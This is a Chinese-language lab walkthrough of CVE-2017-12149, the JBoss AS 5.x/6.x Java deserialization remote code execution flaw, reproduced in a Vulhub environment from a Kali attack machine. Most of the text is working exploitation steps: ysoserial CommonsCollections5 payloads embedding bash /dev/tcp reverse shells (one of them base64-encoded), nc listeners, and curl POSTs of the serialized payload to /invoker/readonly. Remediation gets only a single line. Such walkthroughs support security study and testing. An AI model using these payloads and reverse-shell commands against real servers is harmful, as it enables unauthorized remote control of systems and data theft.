1、序列化
FileOutputStream fos = new FileOutputStream(file);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(st);
2、反序列化
FileInputStream fis = new FileInputStream(file);
ObjectInputStream ois = new ObjectInputStream(fis);
Student st1 = (Student) ois.readObject();
漏洞概述
2017年8月30日,Redhat公司发布了一个JbossAS 5.x系统的远程代码执行严重漏洞通告,相应的漏洞编号为CVE-2017-12149。近期有安全研究者发现JbossAS 6.x也受该漏洞影响,攻击者可能利用此漏洞无需用户验证在系统上执行任意命令。
类型描述
漏洞名称:JBOSSAS5.x/6.x反序列化命令执行漏洞
威胁类型:远程命令执行
威胁等级:高
漏洞ID:CVE-2017-12149
受影响系统及应用版本:Jboss AS 5.x、Jboss AS 6.x
该漏洞为Java反序列化错误类型,存在于Jboss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
漏洞分析
JBOSS Application Server是一个基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。
概念描述:
- Java序列化:把Java对象转换为字节序列的过程
- Java反序列化:指把字节序列恢复为Java对象的过程
- Java序列化与反序列化作用:便于保存数据,或者进行数据传输
攻击方法:
攻击者只需要构造带有需要执行Payload的ser文件,然后使用curl将二进制文件提交至目标服务器的invoker/readonly页面中,即可执行Payload中指定的命令,获取对电脑的控制权。
漏洞复现
以下漏洞复现过程基于Ubuntu虚拟机,使用Vulhub靶场集成环境,并使用Kali作为攻击机进行漏洞利用和攻击。
- 在Ubuntu靶机的Vulhub对应路径下执行以下命令,运行靶场容器:
docker-compose up -d
- 环境已搭建好,访问Jboss服务器试试:
http://<靶机IP>:8080/
-
在Kali攻击机访问Jboss漏洞页面:
http://<靶机IP>:8080/invoker/readonly
(响应码500,证明漏洞存在)。 -
此时也可以使用Nmap进行端口扫描。
POC脚本:
下载漏洞利用脚本到本地(有兴趣可自行阅读源码)。
- 编译预置Payload的Java文件(需要Java环境,Kali下如果javac命令无法执行请参考修复方案Kali安装JDK)。
如下图所示:
- 运行以下命令,反弹Shell的IP(Kali攻击机的IP)和端口:
java -jar ysoserial.jar CommonsCollections5 "bash -i >& /dev/tcp/<Kali攻击机IP>/6666 0>&1" > ReverseShellCommonsCollectionsHashMap.ser
- 以上就会将序列化对象保存在ReverseShellCommonsCollectionsHashMap.ser中,后面用curl命令将其发送到Jboss服务地址即可,在此之前需要先在Kali终端运行nc命令,进入监听6666端口的状态:
nc -lvp 6666
- 使用curl命令向
http://<靶机IP>:8080/invoker/readonly
提交payload(上面生成的反序列化对象):
curl -X POST --data-binary @ReverseShellCommonsCollectionsHashMap.ser http://<靶机IP>:8080/invoker/readonly
- 此时刚才Kali开启的监听6666端口的终端即可获得反弹Shell。
至此成功反弹Shell,可远程执行命令,漏洞利用成功。
Curl命令:
上面提及了curl命令,此处进行简单的补充介绍一下。
命令实例释义:
curl
:向发出GET请求,服务器返回的内容会在命令行输出。curl -d ‘login=emma&password=123’
:-d参数用于发送POST请求的数据体。
官方教程:
Vulhub官方也给出了漏洞复现教程,因为该过程更能直观了解该漏洞利用过程中反弹Shell的本质,故下面进行复现演示。
- 使用Bash来反弹shell,但由于
Runtime.getRuntime().exec()
中不能使用管道符等Bash需要的方法,需要进行一次编码(编码工具地址),编码如下:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}
- 先下载用来复现生成序列化数据的工具ysoserial(下载地址)。
下载后的文件如下:
- 需要在以上文件夹路径下打开终端,执行命令
mvn package -D skipTests
,生成ysoserial-0.0.6-SNAPSHOT-all.jar文件(如果出现bash: mvn: command not found
的问题是因为Kali未安装Maven):
mvn package -D skipTests
ysoserial的用法:java -jar ysoserial.jar [payload] ‘[command]’
- 开始生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5:
java -jar ysoserial.jar CommonsCollections5 "bash -i >& /dev/tcp/<Kali攻击机IP>/9999 0>&1" > exp.ser
- 此时在当前目录下生成了序列化数据exp.ser,打开攻击机的nc,监听9999端口:
nc -lvp 9999
- 接着使用curl命令,将生成的序列化数据以POST的形式发送给Ubuntu靶机的JBoss服务器:
curl -X POST --data-binary @exp.ser http://<靶机IP>:8080/invoker/readonly
- 此时Kali攻击机的nc监听终端即可成功接收到反弹的Shell。
至此,JBoss 5.x/6.x反序列化漏洞攻击结束。
工具利用:
上面基于POC脚本的方式可能不太方便,该漏洞已有现成的图形化利用工具。工具下载:
此处将以上开源漏洞利用工具下载至Win 10物理机并运行,检测并利用漏洞如下:
修复方法:
- 升级JBoss中间件版本,避免使用Jboss AS 5.x、Jboss AS 6.x。